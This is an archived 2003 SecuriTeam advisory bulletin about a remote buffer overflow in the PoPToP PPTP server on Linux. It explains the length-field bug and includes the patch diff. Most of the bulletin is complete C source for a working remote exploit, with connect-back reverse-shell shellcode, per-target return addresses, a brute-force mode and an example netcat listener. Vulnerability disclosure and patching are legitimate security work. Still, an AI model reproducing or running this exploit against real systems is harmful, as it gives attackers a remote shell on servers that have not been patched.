[EXPL] PoPToP PPTP Server Remote Exploit Code Released
support_at_securiteam.com
Date: 04/28/03
- Previous message: support_at_securiteam.com: "[NEWS] Cross Site Scripting in OneCenter Forum"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
To: list@securiteam.com Date: 28 Apr 2003 16:30:28 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
In the US?
Contact Beyond Security at our new California office
housewarming rates on automated network vulnerability
scanning. We also welcome ISPs and other resellers!
Please contact us at: 323-882-8286 or ussales@beyondsecurity.com
- - - - - - - - -
PoPToP PPTP Server Remote Exploit Code Released
------------------------------------------------------------------------
SUMMARY
<http://www.poptop.org/> PoPToP is "the PPTP server solution for Linux
(ports exist for Solaris 2.6, OpenBSD and FreeBSD and others). Before
PoPToP no solution existed if you wished to include Linux servers in PPTP
established VPNs". A remotely exploitable buffer overflow allows attackers
to cause the product to execute arbitrary code by supplying telling the
program the length of the buffer being transmitted is 0. The following
exploit code can be used to test an administrator's installation of the
program.
DETAILS
PPTP packet header contains 16-bit length that specifies the full size of
the packet:
bytes_this = read(clientFd, packet + bytes_ttl, 2 - bytes_ttl);
// ...
bytes_ttl += bytes_this;
// ...
length = htons(*(u_int16_t *) packet);
if (length > PPTP_MAX_CTRL_PCKT_SIZE) {
// abort
}
Looks good so far, except:
bytes_this = read(clientFd, packet + bytes_ttl, length - bytes_ttl);
If given length was 0 or 1, the "length - bytes_ttl" result is -1 or -2,
which means that it reads unlimited amount of data from client into
"packet", which is a buffer located in stack.
The exploitability only depends on if libc allows the size parameter to be
larger than SSIZE_MAX bytes. GLIBC does, Solaris and *BSD don't.
Patch:
--- ctrlpacket.c.old 1999-12-23 23:43:33.000000000 +0200
+++ ctrlpacket.c 2003-04-09 18:58:21.000000000 +0300
@@ -254,8 +254,8 @@
}
/* OK, we have (at least) the first 2 bytes, and there is data waiting
*/
length = htons(*(u_int16_t *) packet);
- if (length > PPTP_MAX_CTRL_PCKT_SIZE) {
- syslog(LOG_ERR, "CTRL: Control packet > PPTP_MAX_CTRL_PCKT_SIZE (length
= %d)", length);
+ if (length <= 10 || length > PPTP_MAX_CTRL_PCKT_SIZE) {
+ syslog(LOG_ERR, "CTRL: 11 < Control packet (length=%d) < ", length);
/* we loose sync (unless we malloc something big, which isn't a good
* idea - potential DoS) so we must close connection (draft states that
* if you loose sync you must close the control connection immediately)
Exploit:
/*
* Fixed Exploit against PoPToP in Linux (poptop-sane.c)
* ./r4nc0rwh0r3 of blightninjas (blightninjas@hushmail.com)
*
* blightninjas: bringing pain, suffering, and humiliation to the security
world
* Expect more great release like helloworld-annotated.c and
* cd explained whitepaper, we are working hard in da underground
*
* Other Editions Available At:
* http://www.freewebs.com/blightninjas/
*
* *** Bugtraq Clean Edition ***
* Based off of code by einstein_dhtm@front.ru
*
* Notes on the exploit:
* This was only tested under slackware, RET_OFF could possibly
* be different.
* You can have nulls in the shellcode (the hole is in a read())
* This allows you to have ips and ports with nulls in them
*
* Shouts to ADM, TESO, and all the other "cool" groups that never give us
0day
*
* Examples:
* attack target 1
* nc -v -l -p 10000 <-- on 1.1.1.2
* ./poptop-sane 1.1.1.1 1.1.1.2 10000 -t 1
* don't come to use, we come to you.
*
* ./poptop-sane 1.1.1.1 1.1.1.2 10000 -t
* list targets
*
* ./poptop-sane 1.1.1.1 1.1.1.2 10000 -r 0xbffff600
* attack using ret address 0xbffff600
*
* I think you get the point
*/
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <signal.h>
#define NOP_LENGTH 140
// I calculate at 336, I'll fudge to make more general
#define RET_OFF 320
#define MAX_HOSTNAME_SIZE 64
#define MAX_VENDOR_SIZE 64
#define PPTP_VERSION 0x0100
/* Magic Cookie */
#define PPTP_MAGIC_COOKIE 0x1a2b3c4d
/* Message types */
#define PPTP_CTRL_MESSAGE 1
/* Control Connection Management */
#define START_CTRL_CONN_RQST 1
#define START_CTRL_CONN_RPLY 2
#define STOP_CTRL_CONN_RQST 3
#define STOP_CTRL_CONN_RPLY 4
#define ECHO_RQST 5
#define ECHO_RPLY 6
// brute force values
// Values can be increased both ways
#define TOPOFSTACK 0xbffff800
#define BOTTOMOFSTACK 0xbffff000
#define STEP 64
/* esdee I love you, call me sometime */
char
shellcode[] =
"\x31\xc0\x31\xdb\x31\xc9\x51\xb1"
"\x06\x51\xb1\x01\x51\xb1\x02\x51"
"\x89\xe1\xb3\x01\xb0\x66\xcd\x80"
"\x89\xc2\x31\xc0\x31\xc9\x51\x51"
"\x68\x41\x42\x43\x44\x66\x68\xb0"
"\xef\xb1\x02\x66\x51\x89\xe7\xb3"
"\x10\x53\x57\x52\x89\xe1\xb3\x03"
"\xb0\x66\xcd\x80\x31\xc9\x39\xc1"
"\x74\x06\x31\xc0\xb0\x01\xcd\x80"
"\x31\xc0\xb0\x3f\x89\xd3\xcd\x80"
"\x31\xc0\xb0\x3f\x89\xd3\xb1\x01"
"\xcd\x80\x31\xc0\xb0\x3f\x89\xd3"
"\xb1\x02\xcd\x80\x31\xc0\x31\xd2"
"\x50\x68\x6e\x2f\x73\x68\x68\x2f"
"\x2f\x62\x69\x89\xe3\x50\x53\x89"
"\xe1\xb0\x0b\xcd\x80\x31\xc0\xb0"
"\x01\xcd\x80";
int st;
struct target {
char *desc;
u_int32_t ret;
} targets[] =
{
{"Slackware 8.0 Linux 2.4.18 pptpd-1.0.1", 0xbffff540},
{"Slackware 8.0 Linux 2.4.18 pptpd-1.1.3", 0xbffff580},
};
struct pptp_header {
u_int16_t length; /* pptp message length incl header */
u_int16_t pptp_type; /* pptp message type */
u_int32_t magic; /* magic cookie */
u_int16_t ctrl_type; /* control message type */
u_int16_t reserved0; /* reserved */
};
struct pptp_start_ctrl_conn_rqst {
struct pptp_header header; /* pptp header */
u_int16_t version; /* pptp protocol version */
u_int16_t reserved1; /* reserved */
u_int32_t framing_cap; /* framing capabilities */
u_int32_t bearer_cap; /* bearer capabilities */
u_int16_t max_channels; /* maximum channels */
u_int16_t firmware_rev; /* firmware revision */
u_int8_t hostname[MAX_HOSTNAME_SIZE]; /* hostname */
u_int8_t vendor[MAX_VENDOR_SIZE]; /* vendor */
};
struct pptp_echo_rqst {
struct pptp_header header; /* header */
u_int32_t identifier; /* value to match rply with rqst */
char buf[10000];
};
struct pptp_reply {
struct pptp_header header; /* header */
char buf[10000];
};
void catch_pipe() {
printf("Broken pipe caught, server most likely patched.\n");
exit(1);
}
void send_init_request(int st)
{
struct pptp_start_ctrl_conn_rqst request;
request.header.magic = htonl(PPTP_MAGIC_COOKIE);
request.header.pptp_type = htons(PPTP_CTRL_MESSAGE);
request.header.ctrl_type = htons(START_CTRL_CONN_RQST);
request.version = PPTP_VERSION;
request.framing_cap = 0;
request.bearer_cap = 0;
request.max_channels = 1;
request.firmware_rev = 0;
strcpy(request.hostname,"hell");
strcpy(request.vendor,"domain HELL");
request.header.length = ntohs(sizeof(request));
send(st,(char*)&request,sizeof(request),0);
}
void send_ping_overflow(int st, u_int32_t ret, char *hostname, short port)
{
struct pptp_echo_rqst ping;
int i, buflen = 500;
ping.header.magic = htonl(PPTP_MAGIC_COOKIE);
ping.header.pptp_type = htons(PPTP_CTRL_MESSAGE);
ping.header.ctrl_type = htons(ECHO_RQST);
ping.identifier = 111;
ping.header.length = ntohs(1);
for (i = 0; i < NOP_LENGTH; i++) ping.buf[i] = '\x90';
*(unsigned long int*)(shellcode+33) = inet_addr(hostname);
*(unsigned short int*)(shellcode+39) = htons(port);
memcpy(ping.buf+NOP_LENGTH,shellcode,sizeof(shellcode));
for(i = RET_OFF; i < buflen - 4; i+=4)
memcpy(ping.buf+i,(char*)&ret,4);
send(st,(char*)&ping,sizeof(ping.header)+buflen,0);
}
int connect_server(char* hostname)
{
struct sockaddr_in addr;
st=socket(PF_INET,SOCK_STREAM,0);
if ((st=socket(PF_INET,SOCK_STREAM,0)) == -1) return 0;
addr.sin_family=AF_INET;
addr.sin_port=0;
addr.sin_addr.s_addr=0;
bind(st, (struct sockaddr *)&addr,sizeof(struct sockaddr));
addr.sin_family=AF_INET;
addr.sin_port=htons(1723);
addr.sin_addr.s_addr=inet_addr(hostname);
printf("connecting... ");
if ((connect(st,(struct sockaddr*)&addr,sizeof(addr))) != 0)
{
perror("connect");
return 0;
}
return 1;
}
int main(int argc, char** argv)
{
struct pptp_reply reply;
// rushing things only makes it worse
int timeout = 1000;
u_int32_t ret;
int bytes, j, checked = 0;
signal(SIGPIPE, catch_pipe);
printf("\n");
// Sorry, I failed REALLY FUCKING LAME ASCII ART class
printf(" D A SSSSS \n");
printf(" D A A S SSSSS T\n");
printf(" D A A S S T EE AA M M \n");
printf(" DDD D AAAAAAA SSSSS S T E E A A MM MM \n");
printf(" D DD A A S SSSSS TTTT E E A A MM MM \n");
printf(" D D A A S S T EEE AAAA M M M \n");
printf(" D D A A SSSSS S T E A A M M \n");
printf(" DDDD A A SSSSS TTT EEE A A M M ");
printf(" ... presents ... \n\n");
printf("Exploit for PoPToP PPTP server older than\n1.1.4-b3 and
1.1.3-20030409 under Linux.\n");
printf("by .einstein., April 2003. <-- the genius\n\n");
printf("fixed by ./r4nc0rwh0r3 of blightninjas
blightninjas@hushmail.com\n\n");
if (argc < 2)
{
printf("usage: \n");
printf(" %s <pptp_server> [your_ip] [your_port] ...\n",argv[0]);
printf(" -b [timeout in ms]\n");
printf(" -t [target]\n");
printf(" -r [ret address]\n");
//Abridged edition
printf(" Only supply pptp_server to test exploitability using really
poor method.\n");
printf(" Connect back to your_ip at your_port.\n\n");
return 0;
}
if (argc == 2)
{
if (!connect_server(argv[1])) return 1;
printf("\nChecking if the server is vulnerable..\n");
printf("(if it is you have to wait 65 seconds)..\n");
send_init_request(st);
ret = 0x01010101;
//header length
bytes = recv(st,(char*)&reply,2,0);
bytes = ntohs(reply.header.length);
bytes = recv(st,(char*)&reply+2,bytes-2,0);
j = htons(reply.header.ctrl_type);
send_ping_overflow(st,ret,"0.0.0.0",0);
//header length
bytes = recv(st,(char*)&reply,2,0);
printf("PoPToP server is ");
if ((bytes = recv(st,(char*)&reply,2,0)) != -1)
printf("vulnerable!\n");
else printf("not vulnerable\n");
close(st);
return 1;
}
if(argc < 5) exit(1);
else if(strncmp(argv[4], "-b", 2) == 0) {
if(argc == 6) timeout = atoi(argv[5]);
printf("[!] Attempting bruteforce against %s, timeout: %d\n", argv[1],
timeout);
printf("interrupt when you get a shell to %s on port
%d...\n\n",argv[2],atoi(argv[3]));
for (ret = TOPOFSTACK; ret >=BOTTOMOFSTACK; ret -= STEP) {
printf("[*] ");
if (!connect_server(argv[1])) return 1;
printf("[ret=0x%x]..",ret);
printf("sending payload..");
// initial packet
send_init_request(st);
//a real overflowing ping packet
send_ping_overflow(st,ret,argv[2],atoi(argv[3]));
close(st);
usleep(timeout * 1000);
printf("done\n");
}
}
else if(strncmp(argv[4], "-t", 2) == 0) {
if(argc == 6 && atoi(argv[5]) >= 0
&& atoi(argv[5]) < sizeof(targets)/sizeof(struct target)) {
ret = targets[atoi(argv[5])].ret;
printf("[!] Attacking %s using %s\n", argv[1],
targets[atoi(argv[5])].desc);
printf("[*] ");
if (!connect_server(argv[1])) return 1;
printf("[ret=0x%x]..",ret);
printf("sending payload..");
// initial packet
send_init_request(st);
//a real overflowing ping packet
send_ping_overflow(st,ret,argv[2],atoi(argv[3]));
close(st);
printf("done\n");
}
else {
for(j = 0; j < sizeof(targets)/sizeof(struct target); j++) {
printf("%02d - %s\n", j, targets[j].desc);
}
printf("\n");
}
}
else if(strncmp(argv[4], "-r", 2) == 0) {
if(argc == 6) {
sscanf(argv[5], "%x", (unsigned int *)&ret);
printf("[!] Attacking %s\n", argv[1]);
printf("[*] ");
if (!connect_server(argv[1])) return 1;
printf("[ret=0x%x]..",ret);
printf("sending payload..");
// initial packet
send_init_request(st);
//a real overflowing ping packet
send_ping_overflow(st,ret,argv[2],atoi(argv[3]));
close(st);
printf("done\n");
}
}
return 0;
}
ADDITIONAL INFORMATION
The information has been provided by <mailto:einstein_dhtm@front.ru>
EINSTEIN, <mailto:blightninjas@hushmail.com> blightninjas, and
<mailto:tss@iki.fi> Timo Sirainen.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Previous message: support_at_securiteam.com: "[NEWS] Cross Site Scripting in OneCenter Forum"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
- [PATCH] Stacker - single-use static slots
... where the security blob is a pointer offset by an index ... extern struct
dentry *securityfs_create_file(const char *name, mode_t mode, ... int e_uid, e_gid;
... isec = kmalloc, GFP_KERNEL); ... (Linux-Kernel) - [EXPL] Sendmail Local Exploit Code (GDB support)
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... uint off; ... unsigned
int get_esp{ ... (Securiteam) - [EXPL] Sniffit Exploit Code Released (normmail)
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... int calculate_conn_lenght
(struct sockaddr_in, struct sockaddr_in); ... main (int argc, char *argv) ...
(Securiteam) - [EXPL] Multiple Exploit Codes for Apache Chunked Buffer Vulnerability
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... int i, j, lport; ...
struct sockaddr_in sin, from; ... printf(" -o char\t\tDefault values for
the following OSes\n"); ... (Securiteam) - [EXPL] Remote Exploit for UW-IMAPd Capability (IMAP4)
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... int imap_send(int s, char
*buffer) ... struct sockaddr_in server; ... (Securiteam)